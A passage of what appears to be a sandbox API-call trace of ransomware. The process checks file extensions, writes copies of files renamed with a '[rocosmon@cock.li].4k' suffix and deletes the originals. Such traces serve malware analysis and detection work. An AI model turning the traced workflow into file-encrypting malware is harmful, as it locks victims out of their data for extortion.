	[0102.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\soft blue.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0102.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.157] lstrlenW (lpString=".doc") returned 4
	[0102.157] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0102.157] lstrlenW (lpString=".docx") returned 5
	[0102.157] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1
	[0102.157] lstrlenW (lpString=".pdf") returned 4
	[0102.157] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0102.157] lstrlenW (lpString=".xls") returned 4
	[0102.157] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0102.157] lstrlenW (lpString=".xlsx") returned 5
	[0102.157] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1
	[0102.157] lstrlenW (lpString=".ppt") returned 4
	[0102.157] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0102.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.157] lstrlenW (lpString=".zip") returned 4
	[0102.157] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0102.157] lstrlenW (lpString=".rar") returned 4
	[0102.157] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0102.157] lstrlenW (lpString=".bz2") returned 4
	[0102.157] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0102.157] lstrlenW (lpString=".7z") returned 3
	[0102.157] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0102.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.157] lstrlenW (lpString=".dbf") returned 4
	[0102.157] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0102.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.157] lstrlenW (lpString=".1cd") returned 4
	[0102.158] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0102.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.158] lstrlenW (lpString=".jpg") returned 4
	[0102.158] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0102.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.158] lstrlenW (lpString=".doc") returned 4
	[0102.158] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0102.158] lstrlenW (lpString=".docx") returned 5
	[0102.158] lstrcmpiW (lpString1=".docx", lpString2="e.htm") returned -1
	[0102.158] lstrlenW (lpString=".pdf") returned 4
	[0102.158] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0102.158] lstrlenW (lpString=".xls") returned 4
	[0102.158] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0102.158] lstrlenW (lpString=".xlsx") returned 5
	[0102.158] lstrcmpiW (lpString1=".xlsx", lpString2="e.htm") returned -1
	[0102.158] lstrlenW (lpString=".ppt") returned 4
	[0102.158] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0102.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.158] lstrlenW (lpString=".zip") returned 4
	[0102.158] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0102.158] lstrlenW (lpString=".rar") returned 4
	[0102.158] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0102.158] lstrlenW (lpString=".bz2") returned 4
	[0102.158] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0102.158] lstrlenW (lpString=".7z") returned 3
	[0102.158] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0102.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.159] lstrlenW (lpString=".dbf") returned 4
	[0102.159] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0102.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.159] lstrlenW (lpString=".1cd") returned 4
	[0102.159] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0102.159] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Soft Blue.htm") returned 71
	[0102.159] lstrlenW (lpString=".jpg") returned 4
	[0102.159] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0102.159] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0102.159] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0102.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.262] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=10569) returned 1
	[0102.262] CloseHandle (hObject=0x1f0) returned 1
	[0102.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg")) returned 0x20
	[0102.262] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.262] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0102.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.262] lstrlenW (lpString=".doc") returned 4
	[0102.262] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0102.262] lstrlenW (lpString=".docx") returned 5
	[0102.262] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1
	[0102.262] lstrlenW (lpString=".pdf") returned 4
	[0102.262] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0102.262] lstrlenW (lpString=".xls") returned 4
	[0102.262] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0102.262] lstrlenW (lpString=".xlsx") returned 5
	[0102.263] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1
	[0102.263] lstrlenW (lpString=".ppt") returned 4
	[0102.263] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0102.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.263] lstrlenW (lpString=".zip") returned 4
	[0102.263] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0102.263] lstrlenW (lpString=".rar") returned 4
	[0102.263] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0102.263] lstrlenW (lpString=".bz2") returned 4
	[0102.263] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0102.263] lstrlenW (lpString=".7z") returned 3
	[0102.263] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0102.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.263] lstrlenW (lpString=".dbf") returned 4
	[0102.263] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0102.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.263] lstrlenW (lpString=".1cd") returned 4
	[0102.263] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0102.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.263] lstrlenW (lpString=".jpg") returned 4
	[0102.263] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0102.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.263] lstrlenW (lpString=".doc") returned 4
	[0102.263] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0102.263] lstrlenW (lpString=".docx") returned 5
	[0102.263] lstrcmpiW (lpString1=".docx", lpString2="e.jpg") returned -1
	[0102.263] lstrlenW (lpString=".pdf") returned 4
	[0102.264] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0102.264] lstrlenW (lpString=".xls") returned 4
	[0102.264] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0102.264] lstrlenW (lpString=".xlsx") returned 5
	[0102.264] lstrcmpiW (lpString1=".xlsx", lpString2="e.jpg") returned -1
	[0102.264] lstrlenW (lpString=".ppt") returned 4
	[0102.264] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0102.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.264] lstrlenW (lpString=".zip") returned 4
	[0102.264] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0102.264] lstrlenW (lpString=".rar") returned 4
	[0102.264] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0102.264] lstrlenW (lpString=".bz2") returned 4
	[0102.264] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0102.264] lstrlenW (lpString=".7z") returned 3
	[0102.264] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0102.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.264] lstrlenW (lpString=".dbf") returned 4
	[0102.264] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0102.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.264] lstrlenW (lpString=".1cd") returned 4
	[0102.264] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0102.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\SoftBlue.jpg") returned 70
	[0102.264] lstrlenW (lpString=".jpg") returned 4
	[0102.264] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0102.265] lstrcmpiW (lpString1=".GIF", lpString2=".4k") returned 1
	[0102.265] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0102.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.416] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=2985) returned 1
	[0102.416] CloseHandle (hObject=0x210) returned 1
	[0102.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 0x20
	[0102.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.416] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.416] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.455] GetLastError () returned 0x0
	[0102.455] ReadFile (in: hFile=0x210, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0xba9, lpOverlapped=0x0) returned 1
	[0102.620] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xbb0, lpOverlapped=0x0) returned 1
	[0102.621] ReadFile (in: hFile=0x210, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.621] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xea, lpOverlapped=0x0) returned 1
	[0102.621] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.621] CloseHandle (hObject=0x1f0) returned 1
	[0102.622] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.622] SetEndOfFile (hFile=0x210) returned 1
	[0102.622] CloseHandle (hObject=0x210) returned 1
	[0102.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.623] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\arctic\\preview.gif")) returned 1
	[0102.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.623] lstrlenW (lpString=".doc") returned 4
	[0102.623] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.623] lstrlenW (lpString=".docx") returned 5
	[0102.623] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.623] lstrlenW (lpString=".pdf") returned 4
	[0102.623] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.623] lstrlenW (lpString=".xls") returned 4
	[0102.623] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.623] lstrlenW (lpString=".xlsx") returned 5
	[0102.623] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.623] lstrlenW (lpString=".ppt") returned 4
	[0102.623] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.623] lstrlenW (lpString=".zip") returned 4
	[0102.623] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.623] lstrlenW (lpString=".rar") returned 4
	[0102.623] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.623] lstrlenW (lpString=".bz2") returned 4
	[0102.623] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.623] lstrlenW (lpString=".7z") returned 3
	[0102.623] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString=".dbf") returned 4
	[0102.624] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString=".1cd") returned 4
	[0102.624] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString=".jpg") returned 4
	[0102.624] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString=".doc") returned 4
	[0102.624] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0102.624] lstrlenW (lpString=".docx") returned 5
	[0102.624] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1
	[0102.624] lstrlenW (lpString=".pdf") returned 4
	[0102.624] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0102.624] lstrlenW (lpString=".xls") returned 4
	[0102.624] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0102.624] lstrlenW (lpString=".xlsx") returned 5
	[0102.624] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1
	[0102.624] lstrlenW (lpString=".ppt") returned 4
	[0102.624] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString=".zip") returned 4
	[0102.624] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0102.624] lstrlenW (lpString=".rar") returned 4
	[0102.624] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0102.624] lstrlenW (lpString=".bz2") returned 4
	[0102.624] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0102.624] lstrlenW (lpString=".7z") returned 3
	[0102.624] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.624] lstrlenW (lpString=".dbf") returned 4
	[0102.624] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0102.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.625] lstrlenW (lpString=".1cd") returned 4
	[0102.625] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0102.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74
	[0102.625] lstrlenW (lpString=".jpg") returned 4
	[0102.625] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0102.625] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0102.625] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0102.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.627] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x230ff1c | out: lpFileSize=0x230ff1c*=27407) returned 1
	[0102.627] CloseHandle (hObject=0x210) returned 1
	[0102.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20
	[0102.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.627] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210
	[0102.627] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.628] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.628] GetLastError () returned 0x0
	[0102.628] ReadFile (in: hFile=0x210, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x6b0f, lpOverlapped=0x0) returned 1
	[0102.631] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0x6b10, lpOverlapped=0x0) returned 1
	[0102.632] ReadFile (in: hFile=0x210, lpBuffer=0x2ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x230fed4, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesRead=0x230fed4*=0x0, lpOverlapped=0x0) returned 1
	[0102.632] WriteFile (in: hFile=0x1f0, lpBuffer=0x2ed0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x230fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2ed0020*, lpNumberOfBytesWritten=0x230fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0102.632] SetEndOfFile (hFile=0x1f0) returned 1
	[0102.632] CloseHandle (hObject=0x1f0) returned 1
	[0102.632] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x230fec8 | out: lpNewFilePointer=0x0) returned 1
	[0102.632] SetEndOfFile (hFile=0x210) returned 1
	[0102.633] CloseHandle (hObject=0x210) returned 1
	[0102.633] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0102.633] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1
	[0102.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.634] lstrlenW (lpString=".doc") returned 4
	[0102.634] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0102.634] lstrlenW (lpString=".docx") returned 5
	[0102.634] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0102.634] lstrlenW (lpString=".pdf") returned 4
	[0102.634] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0102.634] lstrlenW (lpString=".xls") returned 4
	[0102.634] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0102.634] lstrlenW (lpString=".xlsx") returned 5
	[0102.634] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0102.634] lstrlenW (lpString=".ppt") returned 4
	[0102.634] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0102.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.634] lstrlenW (lpString=".zip") returned 4
	[0102.634] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0102.634] lstrlenW (lpString=".rar") returned 4
	[0102.634] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0102.634] lstrlenW (lpString=".bz2") returned 4
	[0102.634] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0102.634] lstrlenW (lpString=".7z") returned 3
	[0102.634] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0102.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.634] lstrlenW (lpString=".dbf") returned 4
	[0102.634] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0102.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.634] lstrlenW (lpString=".1cd") returned 4
	[0102.634] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0102.634] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77
	[0102.634] lstrlenW (lpString=".jpg") returned 4
